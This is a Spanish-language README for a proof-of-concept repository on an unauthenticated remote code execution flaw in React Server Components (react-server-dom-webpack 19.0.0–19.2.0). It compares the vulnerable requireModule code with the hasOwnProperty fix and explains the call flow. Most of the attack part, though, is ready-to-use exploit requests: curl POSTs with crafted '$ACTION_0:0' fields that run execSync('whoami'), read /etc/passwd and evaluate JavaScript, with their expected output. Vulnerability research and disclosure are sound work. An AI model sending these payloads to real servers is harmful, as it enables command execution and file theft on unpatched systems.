
un POC realista que demuestra la falta de verificación de `hasOwnProperty` en [email protected]
Una prueba de concepto mínima que demuestra la vulnerabilidad crítica de ejecución remota de código en [email protected].
Una vulnerabilidad de RCE sin autenticación previa en React Server Components que permite a los atacantes ejecutar código arbitrario en servidores que utilizan el paquete vulnerable react-server-dom-webpack (versiones 19.0.0 - 19.2.0).
Puntuación CVSS: 10 (Crítica)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnPropertyLa vulnerabilidad existe en la función requireModule dentro de la implementación del protocolo Flight de React. Esta función carga las exportaciones de módulos basándose en metadatos recibidos de las solicitudes del cliente.
Código vulnerable ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- ¡Sin validación!
}
El problema: metadata[NAME] proviene de entrada del usuario (la solicitud HTTP). Un atacante puede especificar cualquier módulo y nombre de exportación, como child_process#execSync.
Código parcheado ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// CORREGIDO: Validar que la exportación realmente existe
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
La corrección añade hasOwnProperty.call() para garantizar que la exportación solicitada sea una propiedad propia del módulo, no heredada de la cadena de prototipos ni resoluble dinámicamente hacia módulos peligrosos.
$ACTION_REF_0 y $ACTION_0:0$ACTION_0:0 contiene {"id":"child_process#execSync","bound":["whoami"]}decodeAction analiza esto y llama a requireModule con metadatos controlados por el atacanterequireModule devuelve require('child_process').execSynccd CVE-2025-55182-realistic-poc/
npm install
npm start
# se inicia en http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
Salida esperada:
{"success":true,"result":"tu-nombre-de-usuario\n"}
# Leer archivos
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Ejecutar JavaScript
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeActionHTTP Request
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - Parsea $ACTION_REF_0 para encontrar la referencia │
│ - Parsea $ACTION_0:0 para obtener {id, bound} │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (controlado por atacante) │
│ - bound = ["whoami"] (controlado por atacante) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - Divide "child_process#execSync" en: │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [VULNERABLE] │
│ - Carga require("child_process") │
│ - Devuelve moduleExports["execSync"] │
│ - SIN VALIDACIÓN de que "execSync" deba ser accesible │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → EJECUTA "whoami" EN EL SERVIDOR │
└─────────────────────────────────────────────────────────────┘
MIT